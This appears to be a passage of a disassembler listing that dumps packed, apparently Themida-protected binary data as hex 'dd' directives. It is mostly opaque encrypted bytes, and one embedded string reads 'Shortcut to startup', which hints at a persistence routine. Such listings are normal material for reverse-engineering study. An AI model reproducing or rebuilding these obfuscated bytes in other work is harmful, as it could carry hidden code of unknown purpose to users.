		dd 0C1DA45FEh, 0E43D0D86h, 9D691579h, 0D42D738Dh, 6363A5C3h
		dd 200DBB01h, 20ED1585h, 347EE2A5h, 0C1DC1044h,	0A5291B0h
		dd 0C3E0A1D8h, 13E851h,	0D8B0000h, 0A2B1B4F0h, 485A5BEBh
		dd 0BFBACFD8h, 89021162h, 0B58B5FF1h, 6482A21h,	746FC781h
		dd 0B5890000h, 6482D45h, 8D31C033h, 64824ADh, 0B93834FFh
		dd 4798044Fh, 5B58B5Bh,	81064825h, 0DCFF22F3h, 11DEBE6Ch
		dd 0EB814E54h, 657F3669h, 52D950Bh, 0EB810648h,	40FC38ECh
		dd 40CC46BAh, 71C8955h,	244DB58Bh, 81660648h, 8170A1DEh
		dd 71E9BDE8h, 0F18B572Eh, 0B9C0815Eh, 812E71E9h, 0FF8C1CF8h
		dd 0A5850FFFh, 89FFFFFFh, 481DBDBDh, 14E806h, 0C08E0000h
		dd 6B33AABAh, 0A6737084h, 2E3996ABh, 0D9E99747h, 0F08B460Dh
		dd 0C4D6815Bh, 8171859Ch, 6FC0C3h, 29B58B00h, 0B9064801h
		dd 6BBD0h, 0A010F181h, 33FF0006h, 6D8589h, 8B580648h, 4822ADB5h
		dd 54E88106h, 8156C76Bh, 0CA49FCF0h, 0BE3CBF28h, 0F081140Ah
		dd 1DAD9439h, 2D29BD89h, 0BF500648h, 6959F58Fh,	8B0F038Fh
		dd 6, 495BD29h,	0EB830648h, 0EDB53101h,	4B064832h, 840F4B4Bh
		dd 4, 7E2CBF66h, 0F01E983h, 1685h, 99B50B00h, 0E9064821h
		dd 26h,	0E266F1A9h, 4CF40401h, 0F6AD8FDh, 0A88h, 48A0F00h
		dd 66000000h, 0E9811DBAh, 0FFFFFF76h, 0CD6F04B2h, 0BB203C56h
		dd 7A0310A6h, 0EA9C6735h, 0DA5A0159h, 32040130h, 68C15B13h
		dd 362555BAh, 36A445B2h, 3240012Fh, 5EE35371h, 0EA36DDCCh
		dd 7AEE18FEh, 73B988CFh, 9A04493Fh, 0B0850E37h,	58800131h
		dd 31A85233h, 12200133h, 0BB4BC268h, 0B30C256Fh, 2F002577h
		dd 71020133h, 22C2C260h, 37884B6h, 0A28C467Eh, 8FA34185h
		dd 34580CBEh, 1E8C0E33h, 1B040133h, 7A1940BEh, 3042E835h
		dd 32EA0133h, 3243E962h, 6B000133h, 7E9958F0h, 76890517h
		dd 32110517h, 63430133h, 541FE6F0h, 0A220DF88h,	54101084h
		dd 58B0F3B8h, 31F85733h, 12080133h, 0BB5AC26Dh,	0B3062547h
		dd 26052577h, 74800133h, 1BADC265h, 7A0D14B6h, 7E110E35h
		dd 3262FF17h, 3207E965h, 6C220133h, 46885FF0h, 76010517h
		dd 32570517h, 64660133h, 8FC6AEF0h, 0C5896742h,	0DB5CF5CFh
		dd 3202013Ah, 0A7E2C81Fh, 0E4D9F3DFh, 1E808204h, 0DA750159h
		dd 32100130h, 6FCB5C13h, 36206DBAh, 362645B2h, 32010126h
		dd 0A9435476h, 87415160h, 34682F6Ah, 58188A69h,	31E05233h
		dd 12040133h, 0BB59C268h, 0B305256Fh, 2B842577h, 71400133h
		dd 0A0E3C260h, 3FA2F1E8h, 372594B8h, 0B962077Bh, 3268FD7Bh
		dd 3202E961h, 68A00133h, 66C95BF0h, 76A10517h, 320B0517h
		dd 604A0133h, 7532ABF0h, 6BA7101Ch, 579C8854h, 1B864918h
		dd 7A5CB8AEh, 0BA16735h, 0B61FFE05h, 320801E9h,	0DA520159h
		dd 32020130h, 6CC25F13h, 36A475BAh, 366445B2h, 3220012Bh
		dd 0EAD35775h, 3930E354h, 0F387D9B8h, 62026B3Ah, 320102DBh
		dd 0F1D82133h, 1604886Bh, 16648037h, 32101937h,	0F1584133h
		dd 1AE4C107h, 53D88120h, 3DE838B3h, 3280E1B6h, 0EDF70E33h
		dd 582140B8h, 31F85133h, 12080133h, 0BB5CC26Bh,	0B3062577h
		dd 28052577h, 72800133h, 0E744C263h, 4CCCC033h,	0B976612Dh
		dd 0FA0B60EDh, 697AE2B2h, 87215F39h, 34492FCEh,	1B85C0B0h
		dd 7A64ACAEh, 0A2198035h, 3D9B4278h, 320891B6h,	63046B33h
		dd 320202DBh
		dd 0F1582133h, 16CC886Ah, 16048037h, 32201D37h,	0F1414033h
		dd 0EEA07046h, 19215C4Ah, 3212E88Ah, 46510133h,	93DD9C8Ah
		dd 238AD6C0h, 23BBE089h, 0BF9D68CAh, 34404A57h,	34A19CBAh
		dd 8789077Bh, 34490796h, 3280028Bh, 63406B33h, 322002DBh
		dd 0F1492133h, 1644886Ah, 16408037h, 32021537h,	0F1504033h
		dd 3290E9A1h, 92B10133h, 5151FF38h, 0ABD4607Ch,	4D17DE0Ah
		dd 0AF8D332Bh, 344A269Eh, 0B9E0FE6Dh, 7AA3C8AEh, 0BE4F6035h
		dd 32200130h, 8CE8BE3Ch, 4A1CCFBEh, 3AFBCBEh, 0BF8F077Eh
		dd 344C35A6h, 0A003758Bh, 1BC53232h, 19264916h,	0BB20C0FCh
		dd 7A0310A6h, 0EA9C6735h, 0DA5A0159h, 32040130h, 68C15B13h
		dd 362555BAh, 0F305E983h, 6AC08BA4h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 3543C352h
		dd 8D0FE0F7h, 5, 8DEA8166h, 57006A03h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 5C69F25Ch
		dd 0C3CB8166h, 9B58BCCh, 8B06482Bh, 0AE8C3h, 9D200000h
		dd 42D8E53Eh, 5E2060B1h, 8159ACB6h, 71A3C1h, 0D68B6600h
		dd 1C4BBBh, 6D858B00h, 0FF064822h, 0B99D8931h, 5F06481Ch
		dd 81D2B70Fh, 0DD21E7EFh, 20F78138h, 0BA3D82AEh, 5B80D292h
		dd 46DFC781h, 12E96757h, 13000000h, 0F7C896E8h,	97DF81FDh
		dd 0BE1684F1h, 0D24F7EFFh, 81398956h, 50AC57E9h, 0D08B666Fh
		dd 0AC53C181h, 9AB26F50h, 0AC850F4Bh, 81FFFFFFh, 496E75C2h
		dd 712ADE52h, 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h
		dd 2633A9A9h, 265AF198h, 15EEF5Eh, 4E6033D0h, 0A5E4FFB4h
		dd 7A6F867h, 0A3BEA0D0h, 2078D086h, 0A3BA7967h,	207BF9FDh
		dd 2D2AD71Bh, 293333D0h, 2633831Dh, 0BCB6C098h,	7635EBADh
		dd 13BFD615h, 0D963AFD5h, 6E1EB10Dh, 2664839Eh,	23593598h
		dd 13AF1F15h, 0AB634BD5h, 6B062A1Dh, 0B3CC039Eh, 207BB7C1h
		dd 0A23C1493h, 26336AA1h, 13AFB015h, 0CE639CD5h, 26334DAAh
		dd 0A3BEF6D8h, 207E663Ah, 0BAB624C8h, 763599ADh, 22E2FF67h
		dd 0E2B033D0h, 0BAB61794h, 763500ADh, 13BF2315h, 0D96355D5h
		dd 6E1ECC0Dh, 26513D9Eh, 0AD666A98h, 74646474h,	2E4E11CEh
		dd 24DA8DABh, 6633A698h, 260CD3DFh, 0D9C62C97h,	0EF002B67h
		dd 0CF3B1713h, 263335B2h, 31B948ABh, 0AD03A718h, 0AD63E868h
		dd 2C88005Ah, 0CF33A998h, 2633D49Bh, 0A57D896Fh, 0A13C3566h
		dd 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h, 0E7B85667h
		dd 7F6C8EC6h, 2637A851h, 13B98815h, 0ABBE9CD5h,	207E7B27h
		dd 9320h, 0E7FC7800h
		db 71h,	2
word_59042E	dw 731h			; DATA XREF: Themida_:0053DA8Co
		dd 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 36BFB58Dh, 8D8D064Dh
		dd 64D36DEh, 0E983CF2Bh, 40C88B05h, 0F862199Dh,	83419F4h
		dd 5AF747D7h, 6106D7Eh,	5105D76h, 803419EFh, 62F74FB1h
		dd 8BC72CA0h, 0D0BF7742h, 834131Fh, 30D8CEF7h, 424997F5h
		dd 8A703536h, 3DB7422Fh, 467C391Eh, 0A33D6CF7h,	5818784Ah
		dd 114019F1h, 0C4BF4AA7h, 2301A4Fh, 0A0B190F7h,	0D3251DFh
		dd 0A84356Ah, 7BE7E6F1h, 71899AAFh, 83251DBh, 57640E83h
		dd 2301A4Fh, 0A0B190F7h, 0D3251DFh, 0A99026Ah, 7BE7E6F1h
		dd 463473AFh, 8341A1Fh,	0C76A39F7h, 264090A9h, 257098F3h
		dd 803400F3h, 83625FF7h, 9E8778B3h, 888BBA05h, 83323DBFh
		dd 55347337h, 2341A1Fh,	0C26D39F7h, 0A47890AEh,	647098F3h
		dd 203405F3h, 0D36558F7h, 290CA180h, 0BC436D81h, 4B516CFh
		dd 303419F7h, 0C81D9C72h, 98B87FF1h, 2D29ACFEh,	149C1FBFh
		dd 0BB79DF8h, 45E19F7h,	237F1A5h, 5B1419F7h, 0D4BD4334h
		dd 4B51DD3h, 202F1DD3h,	427619F7h, 0CFE4E234h, 9C4E9670h
		dd 8F899AAEh, 13251FAh,	801B9DF8h, 405E19F7h, 2037F1A4h
		dd 4B1419F7h, 54BD4234h, 40B51DD3h, 2281DD3h, 527719F7h
		dd 0B9D53134h, 0F0B69920h, 0ADDA39Fh, 3B3419F4h, 402E9862h
		dd 2334A7F1h, 0DDD1BF7h, 0C13419F7h, 94CA7DD1h,	7A860E26h
		dd 74E48B21h, 95B913FDh, 0E7F6D27h, 4359DF8h, 0FDC819F7h
		dd 54347327h, 80341A1Fh, 836939F7h, 45890AAh, 347098F3h
		dd 8340FF3h, 0C7615CF7h, 892AFF70h, 0EF49C21h, 8034AC73h
		dd 61B190F7h, 0A13251D8h, 91524ECFh, 1FB1160Ch,	623419F7h
		dd 0CC76C376h, 54C9891h, 43B1BF5h, 40341B2Bh, 3875847Ch
		dd 91521FBFh, 75485CFh,	4349872h, 82FC92F7h, 0EDC1B8Fh
		dd 80346C72h, 918B16F7h, 264C9891h, 953BB2F7h, 8341991h
		dd 434161Fh, 635D78F7h,	58FBD4A9h, 0EADD0F3Eh, 577C365Fh
		dd 0AE2B7E4Ch, 81DD46B3h, 623419F5h, 7DC4EF7h, 223419F7h
		dd 886BDAA8h, 1303D8Bh,	5D303DB3h, 673419F7h, 0A5D1DAA0h
		dd 8D56F23Ch, 0DCAB1228h, 234091Fh, 378293F7h, 0F9FCC14Ch
		dd 46BCF06h, 91E91BAAh,	4DA1929Eh, 513251F3h, 2865A4FCh
		dd 28A1FBFh, 0E7218F6h,	8034087Dh, 4038F0F7h, 0BCB019F7h
		dd 0CC687EA5h, 0A0CA899Ah, 81B9AD94h, 47F6D27h,	0E966199Dh
		dd 803419F4h, 1AF743D7h, 24104D7Eh, 14105D76h, 83419EBh
		dd 80F74BB5h, 85B4DBFCh, 159DCA19h, 7FE39291h, 61B93A27h
		dd 0A53251DCh, 0D6B01637h, 623419F6h, 7DC49F7h,	223419F7h
		dd 886CDAAFh, 1303DB3h,	55303DB3h, 603419F7h, 0FCF9DAA7h
		dd 12119CDEh, 3CB51FBFh, 362491h, 1149CF8h, 15219F7h, 0C10A052Dh
		dd 1D521F8Fh, 943B63A8h, 8341847h, 2B716A1h, 2B3419F7h
		dd 4939C06Ah, 15243F1h,	4F5485CFh, 20343372h, 0F9B190F7h
		dd 883251F8h, 0BDC1B8Fh, 2340372h, 60B928F7h, 0E63251E9h
		dd 40326176h, 28B11637h, 1F3419F7h, 65DDD140h, 0BA3419F6h
		dd 7C3518F7h, 0E967199Dh, 803419F4h, 1BF742D7h,	2410457Eh
		dd 14105D76h, 83419E3h,	4F74AB4h, 29E3A391h, 75E49C7Ah
		dd 805E1FBCh, 4037F1A0h, 7F1419F7h, 6CBD4634h, 4CB51DD3h
		dd 42E1DD3h, 557319F7h,	0E3C19334h, 0B6479919h,	90CBF67Dh
		dd 0B79847Eh, 0D0B11FBFh, 8D79DF8h, 45E19F7h, 237F1A4h
		dd 5A1419F7h, 0DCBD4234h, 4B51DD3h, 20281DD3h, 437719F7h
		dd 0EBB4E734h, 0AE901875h, 0CDBF8F0Ah, 0EDC2177h, 80347C72h
		dd 173473F7h, 20341A1Fh, 0D36B39F7h, 2C4890A8h,	207098F3h
		dd 2340EF3h, 0C2635EF7h, 323F0DFFh, 7201947Eh, 58B41FBFh
		dd 953B6AF2h, 83419C1h,	0EC67199Dh, 23419F4h, 5AF742D7h
		dd 8410457Eh, 44105D76h, 203419EAh, 77F74AB4h, 1D5FBBC6h
		dd 0B81F8B44h, 0CABF4B28h, 64C99ACh, 0FDB016A4h, 4F3419F7h
		dd 0A152E240h, 1F3196CFh, 8345D72h, 75B128F7h, 823251F7h
		dd 0E5C1F8Fh, 80342D72h, 38B57FF7h, 2F11E6FCh, 10343172h
		dd 0E2B57FF7h, 91BD952Bh, 47C31FAh, 1345A1Eh, 8027F0F7h
		dd 0BB2919F7h, 0DD250E71h, 0B40B537Ch, 7E238EFh, 0D5ECC3D5h
		dd 68F432A4h, 2DC49F7h,	0A03419F7h, 0C96CDAAFh,	0A1303DB3h
		dd 6303DB3h, 483419F7h,	6F5EDAA7h, 225F0EAh, 8C0719F7h
		dd 867C31E2h, 4034184Fh, 0D5A930F7h, 403251D4h,	0CBDC77Ch
		dd 98118D3h, 8F3251E3h,	4C02F94Ah, 2CB994F1h, 0F83254CCh
		dd 57524CD4h, 10399CF4h, 0C71F1FBFh, 0BA36F036h, 7C3518F7h
		dd 0E967199Dh, 803419F4h, 1BF742D7h, 2410457Eh,	83105D76h
		dd 0A4F305E9h, 8166F558h, 6A3D5CF7h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 7E78C353h
		dd 0CF8663F2h, 0F5958B18h, 0B606480Ch, 0FC00BF9h, 6684h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0B58D56CDh, 6484B64h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 2C35141h, 0AA5AED17h, 60AA65D3h
		dd 61F8F960h, 3D7FBA66h, 0DD9D8961h, 0B8064830h, 3, 0FFCBB70Fh
		dd 5DB529E6h, 4006481Ah, 0FABE6660h, 0A5BD8985h, 6106481Fh
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0C0711DC3h, 8D8BB4B6h, 6481DA1h, 20E9BD83h
		dd 75000648h, 61BD8309h, 6482Ch, 53501974h, 3B8C08Bh, 89000004h
		dd 48002185h, 939D8D06h, 0FF064AB0h, 83585BD3h,	482C61BDh
		dd 17740006h, 3B85350h,	89000004h, 48002185h, 349D8D06h
		dd 0FF064AADh, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 5AB3C356h, 1166EE30h
		dd 6E9h, 49A49E00h, 3366E9BAh, 48063DBDh, 0CFBF0F06h, 6AC08Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0B6645EC3h, 0D0B2E598h, 0EC8A51B4h, 0D98D8D61h, 6A064D3Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 46A6C356h, 6AD5164Dh, 89E5B00Ch, 480A198Dh
		dd 0CF81F806h, 54239B82h, 0F3585C7h, 5BC00648h,	85890000h
		dd 6481B61h, 13F9B58Bh,	85C70648h, 6482425h, 0
		dd 0FD9FBF66h, 228DB5FFh, 6A0648h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 16EBCFC3h, 0BD95FF2Bh
		dd 89064820h, 4826E98Dh, 0FF006A06h, 48306195h,	0EBC08B06h
		dd 0AF66541Ah, 61BC75B7h, 8A1EADBBh, 8AD3014Bh,	346D98EEh
		dd 0B7243DCDh, 8D82D050h, 482A0D9Dh, 39B806h, 85890000h
		dd 64800C1h, 0E8h, 0D055800h, 89000000h, 39E903h
		db 2 dup(0)
word_590B8A	dw 0			; DATA XREF: Themida_:0053F77Co
		dd 0Dh dup(77E6h), 0E8FF77E6h, 0Bh, 8DD4974Ch, 74D38B44h
		dd 819B51F2h, 0ED7A48E8h, 0B70F5914h, 0EC181F2h, 8A000059h
		dd 8BD233E2h, 69B7113Ch, 8004EF81h, 81F551C9h, 5E92CEFh
		dd 11E9560Dh, 80000000h, 1704291h, 0D122648Ah, 45531115h
		dd 0FF13EADDh, 0F9C78158h, 895A5CC4h, 8BF9113Ch, 2EA83C1h
		dd 5EC4B450h, 0FA814A4Ah, 0FFFFA75Ch, 0FFB5850Fh, 0B866FFFFh
		dd 0B0E99207h, 60000000h, 0F6DA8C66h, 850F04C2h, 0Ch, 2C21853Bh
		dd 840F0648h, 36h, 205D853Bh, 840F0648h, 2Ah, 2C2D853Bh
		dd 840F0648h, 1Eh, 1D29853Bh, 840F0648h, 12h, 0E1DBD83h
		dd 0F010648h, 584h, 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh
		dd 784A8B00h, 840FC985h, 49h, 0F8C281h,	728B0000h, 8BC8030Ch
		dd 518B1C59h, 8BD80314h, 0FC9850Bh, 1084h, 0FCE3B00h, 1782h
		dd 0FCF3B00h, 0F83h, 4C38300h, 0DC850F4Ah, 0E9FFFFFFh
		dd 0Dh,	4B649D8Dh, 5B80648h, 0FF000000h, 0BC361E3h, 618D8DD0h
		dd 6A064D40h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0BA51C353h, 66B06021h,	1431BD8Bh
		dd 8D890648h, 6480A19h,	1C05B589h, 85C70648h, 6480F35h
		dd 5F0Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	4FC35141h, 6FB759D5h, 38B86666h, 2585C79Bh, 64824h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0FC0DC350h, 9D092CA0h,	6482CE5h
		dd 1BEDB5FFh, 89600648h, 48197995h, 0EDB50906h,	61064819h
		dd 20BD95FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 58C8E1C3h, 3AD5E69Ch, 8995D43Fh
		dd 4805B985h, 0FF006A06h, 48306195h, 0EBC08B06h, 0E358951Fh
		dd 0B096C05Ah, 0B150DE9Ch, 0CD887D86h, 5ACC3149h, 59251B33h
		dd 0FCBC5AE7h, 0F86B0741h, 418F8D8Dh, 6A064Dh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 4E134BC3h, 860FEA45h, 0Ch, 7E9h, 2034BA00h, 917644A2h
		dd 12E96060h, 0A5000000h, 0AD6D734Dh, 8BA8D650h, 80596457h
		dd 0BFDD38F4h, 783ABA6Fh, 1615D1Fh, 4829B1B5h, 8D896106h
		dd 6480A19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0DC35545h, 0BF0FFCCDh, 3585C7D0h, 6C06480Fh, 0E9000066h
		dd 7, 0B40CEEB6h, 0C707453Dh, 48242585h, 6, 8B536000h
		dd 48229D85h, 0CE95806h, 49000000h, 414CB8EBh, 2E607F77h
		dd 617D2C48h, 0BE65E0B8h, 0C9B5FF59h, 89064828h, 482F79BDh
		dd 2D9D8906h, 0FF064801h, 4820BD95h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0CA10221Dh
		dd 7C48DE44h, 6ABFC680h, 6195FF00h, 8B064830h, 0D05FEBC0h
		dd 0E86BD79Ah, 354A59BEh, 0CCED0968h, 0C76190B6h, 0FA43F29Eh
		dd 0A77E27A3h, 3302E300h, 5DE50543h, 0EFBD7C79h, 8609E39Dh
		dd 0FCB87B85h, 85AC6FBDh, 26FF339h, 2D1BBB47h, 60904F8Ch
		dd 18F69FC9h, 8BB39CF3h, 0AEC082F0h, 60B7341Fh,	64196BF6h
		dd 31A8ECABh, 0BE54741Dh, 8B59B12Dh, 6CEB8B16h,	726F6853h
		dd 74756374h, 206F7420h, 72617473h, 707574h, 14h dup(0)
		dd 6EE71EDEh, 1, 0EC8E9h, 43FA6800h, 0C5E9064Dh, 68FFFC04h
		dd 64D44E1h, 0FC04BBE9h, 468468FFh, 0B1E9064Dh,	68FFFC04h
		dd 64D46C3h, 0FC04A7E9h, 477E68FFh, 9DE9064Dh, 68FFFC04h
		dd 64D4823h, 0FC0493E9h, 4C2868FFh, 89E9064Dh, 68FFFC04h
		dd 64D4E84h, 0FC047FE9h, 4F5B68FFh, 75E9064Dh, 62FFFC04h
		dd 0D14F1079h, 60E0A3EEh, 0CE4A157Ch, 54E49FEAh, 2A3C078Ah
		dd 0B4DD010Eh, 3C4D6D6Bh, 0A5E4F503h, 127F5EDAh, 0A46FD051h
		dd 9AB9758Ch, 2277C754h, 0AA32D6BBh, 1B8D7E13h,	27F2BFC4h
		dd 5081024Ch, 0F57EF70Dh, 0A106079Bh, 13255863h, 0F13CC8C9h
		dd 353C2005h, 0A2915ACDh, 2CAFBDAAh, 56560321h,	95A74E29h
		dd 563386F2h, 6F8B6FB2h, 0C23224A7h, 2F2E9BA7h,	0F0000000h
		dd 5CCF373Eh, 0BE541C8Fh, 8D9BA6AFh, 4F429C0Ch,	0E3CEDEEBh
		dd 7F0DA74Eh, 0E1AA0D77h, 0A74EE3CFh, 6CC23497h, 9BA880EAh
		dd 0D2E6h, 0BB22C800h, 0B7BDD3A0h, 3A85A106h, 4599E107h
		dd 8D30B84Ch, 0B7EB45CEh, 88B3A106h, 16A652D5h,	0DDEBA636h
		dd 36798FD2h, 6B7918A6h, 95D6F660h, 6DCF191Ah, 6EC8BF0Ch
		dd 0B5365B82h, 55878952h, 0EC4FA106h, 7622250Ah, 4CD2968h
		dd 0A1065CB9h, 4C177A43h, 84A0F1CCh, 56641910h,	6EFDEE33h
		dd 0AFBDF5FDh, 19FB4487h, 0AA39B212h, 0B601938Eh, 9F00EB56h
		dd 55C1C8F1h, 235C3589h, 0B8F88324h, 80AD9933h,	0B10DD93Dh
		dd 45CBA9E0h, 38ECFC54h, 0C6C95h, 0F6932800h, 7D14AB2Dh
		dd 0EBA636C2h, 7910A838h, 0EDA43AC6h, 0E7281432h, 7789BAD7h
		dd 0DB5D2663h, 48D88BFEh, 0D6631C75h, 748A8655h, 0CD529AB9h
		dd 0D5BC2271h, 7B16A652h, 338A969Fh, 3179255Eh,	0C2345D7Fh
		dd 32863B32h, 52210A57h, 0AFBE54D9h, 1FCC5863h,	0A74EE50Dh
		dd 8F5CBB4Ch, 0A74EE481h, 0E3F60649h, 0AE38B4A6h, 0A8823F1Dh
		dd 5C812F9Bh, 0AA8C8F35h, 0B959h, 7F311500h, 8A95335Eh
		dd 0AF9D40B0h, 0EB9E3B09h, 0D28FD2DDh, 7712A759h, 0E8EC4E51h
		dd 0B5533EA0h, 6BF1508h, 0E939AEA1h, 0C2CFEE8Eh, 7A581B26h
		dd 4A9680EEh, 0D3651E73h, 3561870Ah, 0B645C63Eh, 0AFBF1F55h
		dd 0B1A3DCDFh, 12E14ABAh, 0B602CC57h, 0F29F40F0h, 7E69D408h
		dd 3AA0AC12h, 0AB76B94Fh, 3B566878h, 531F2A12h,	38A349FCh
		dd 0B85h, 34EF9A41h, 0AD761BA4h, 3F00912Bh, 0B17217C1h
		dd 41028F2Fh, 0E0FE0B2Dh, 48726EB1h, 0D702FE41h, 4E6F71B2h
		dd 7E010043h, 0B9739BF5h, 2836639Ah, 325F7F31h,	0CBC618C8h
		dd 5C358898h, 0A99B3DEBh, 616C7811h, 51C5081Ch,	0BB22B2CCh
		dd 13AA32D6h, 0D84FC57Eh, 6F74FFE8h, 0F9AFBEB5h, 7F8D32D6h
		dd 0BEA74EC2h, 0CE1B0E49h, 0ED03A3A7h, 27BDD4EBh, 2CBA3224h
		dd 0A91EBD9Fh, 7B99Bh, 7750000h, 819h, 0CF373EDBh, 0B1B88F5Ch
		dd 0FA82AFBEh, 1417ADE4h, 922BBB49h, 29B444FFh,	833AD75Ah
		dd 4F99B8F8h, 0F23D80A7h, 265B5599h, 7AB55D02h,	806C150Ah
		dd 6EDEFF76h, 99A44051h, 0BAC9BE4h, 92F93080h, 61D5F80Eh
		dd 9B296875h, 92F8DD2Eh, 0DC4CA90Eh, 4FAB8F02h,	820FAEC7h
		dd 0F7E24EC1h, 0CF2B7692h, 35D3BE1Fh, 92F87F88h, 20714D0Eh
		dd 266B7404h, 0F2FC7802h, 11DD57C8h, 7385964h, 40ECCF08h
		dd 1AEB7F6h, 9DF4C915h,	0AC141B87h, 922CDC3Bh, 317F0CFFh
		dd 0F90E9376h, 405764D6h, 0A1D4B79h, 548B7CC7h,	0E6F8DCFCh
		dd 0FD63AC9Bh, 0D8DFD9F6h, 0CF843125h, 0B10BB0B7h, 26B444E0h
		dd 0C77AC563h, 0C1CA056Ch, 0BC81984Bh, 0ADD7C04Bh, 53B42392h
		dd 233B8888h, 17A8501Bh, 1E636E7Ah, 0A2A5A83Ch,	5865E7F6h
		dd 0DDA0AB39h, 136EFB79h, 0F902141Fh, 0CA999272h, 7EBC035h
		dd 0FC28BCFFh, 0D19A8D75h, 0E2EC315h, 0FBAD9EA1h, 7374AFE2h
		dd 64D6B305h, 1286974h,	0A425B847h, 0E2319C50h,	9E000009h
		dd 5134C3Dh, 8C8CD7BAh,	221E6130h, 9090D3B6h, 8E20632Eh
		dd 9001DD2Ah, 206951CFh, 91F8E15Fh, 266B52CEh, 905BDC5Dh
		dd 9AB97180h, 227BE348h, 0FB97D6BBh, 8008E6C1h,	9A381ECh
		dd 7C5F0000h, 0F9C6520Dh, 8359E798h, 0F5C3550Eh, 714DCB94h
		dd 0ED4F5F20h, 94CFC21Ch, 10533684h, 9FE0A910h,	0A553CA1h
		dd 0D1DFAC0Fh, 999AB971h, 0BB222A14h, 0F8DA55D6h, 7906CCE5h
		dd 0A2EAEA4Ch, 0ED0A553Ch, 6F57DEA6h, 9608EF7Ch, 42E5AFBDh
		dd 241A16E5h, 0DFE2A74Eh, 4E23F040h, 6950B8A7h,	0E9F95D20h
		dd 0D817E4E6h, 0C26992CDh, 7AB6454Bh, 42690B7Dh, 66C942FFh
		dd 88ABEF1h, 7F3DD681h,	717AD5BDh, 1D963CEh, 0C5317C88h
		dd 0C27023FCh, 46E2ED77h, 806B5BD2h, 572F3F3h, 66F5927Eh
		dd 759E712Ah, 776BCFF2h, 9825D354h, 23BA46F9h, 91DBF6Eh
		dd 0CE5E344Fh, 8E823h, 7217A400h, 1902FB1h, 771AC23Eh
		dd 0FD8C2CACh, 6928B642h, 63A498B6h, 0EBED365Bh, 7789BACFh
		dd 0DC5C2762h, 52CF9001h, 710E22F1h, 49D69AB9h,	0A0BB22F5h
		dd 6B7BDD3h, 5A2F89A1h,	4A7583CEh, 59641417h, 0B8377902h
		dd 0BCFFA106h, 0B4359581h, 21157444h, 642F24B5h, 0A106B84Ch
		dd 0AB74A914h, 6B8A010h, 1C148A1h, 7B227D06h, 9CECAFBBh
		dd 0DEB30943h, 73A85A3h, 48499404h, 5DB340DFh, 25A753FAh
		dd 0E9F7401Ah, 0DF27BDD4h, 818F5CFFh, 49A753FAh, 5DAD3B06h
		dd 0C85C0D7Ch, 0CB02997Eh, 843B619h, 0DCFF0000h, 596672ADh
		dd 0E3F90738h, 556375AEh, 0D1EDEB34h, 0CDEF7FC0h, 34EFA23Ch
		dd 0B07316A4h, 3F008930h, 0AA751CC1h, 0F13FCC2Fh, 0B99AB96Fh
		dd 0BB22CA74h, 13AA32D6h, 0D7EDA439h, 0EB7B89D4h, 0E22ABED3h
		dd 1E734CF8h, 6E7AC70Ah, 0C5F5017Fh, 482DB931h,	2B631C75h
		dd 95605529h, 4FC25h, 373EF900h, 11AC5CCFh, 8A599680h
		dd 0AFBB7975h, 0AC0BFC3Fh, 46B0E1FCh, 154E439Ah, 42962B1Fh
		dd 0E39EA147h, 8854C445h, 19A42D09h, 0A31EE756h, 6567217h
		dd 7743D5B4h, 864F612h,	58AFBCFEh, 65E42CB7h, 0A1AC20C0h
		dd 0D3B13DB5h, 6569A734h, 0D83120C0h, 0C066050Bh, 0BF82CD20h
		dd 0FE73E15Bh, 306F1519h, 2F000000h, 59D2343Eh,	6B7868Ah
		dd 35BE61A1h, 0A106B7DBh, 2EBE98A3h, 98580523h,	0D7C19D1Ah
		dd 0F46269B5h, 0F0B5C7B3h, 7, 23307AEh,	3EDB0000h, 0BB5CCF37h
		dd 0BBB70B84h, 0A335F71Bh, 4C4F751Ch, 9F66E1EAh, 0A403AFBAh
		dd 531ED9D7h, 0D59EA1A7h, 0CC763880h, 0B024168Ah, 0CBEE9A8Dh
		dd 21192ABEh, 0B2E29D61h, 0C70BEF32h, 0A03FF14Eh, 0E0C6CAF1h
		dd 0FE8EA752h, 8872AFDAh, 52E0F03Bh, 0EDF917A7h, 0D255ADA4h
		dd 7A39E09h, 3C1728B6h,	0D65CB645h, 0CA940098h,	5CF57889h
		dd 3FF15E21h, 7B0EAB99h, 3B1F626Dh, 0A43913ABh,	89D4D7EDh
		dd 1E72019Eh, 0E6ADA084h, 0B5B7FDBh, 0C24ADEB3h, 5557316h
		dd 0F54EDAB7h, 0BAB7C9FFh, 0F3210202h, 38B48F2Bh, 8F2AD6AEh
		dd 0DEADEEFAh, 0ADA07ED2h, 10EA379Ah, 9893FEE0h, 2BB9D0E8h
		dd 0EFF13620h, 0E22ABECBh, 0EA9691F8h, 13C8AED5h, 0E72F1D14h
		dd 0F31CC09Ah, 3288EDF9h, 0F3EF0C57h, 83ADA0ADh, 1F105336h
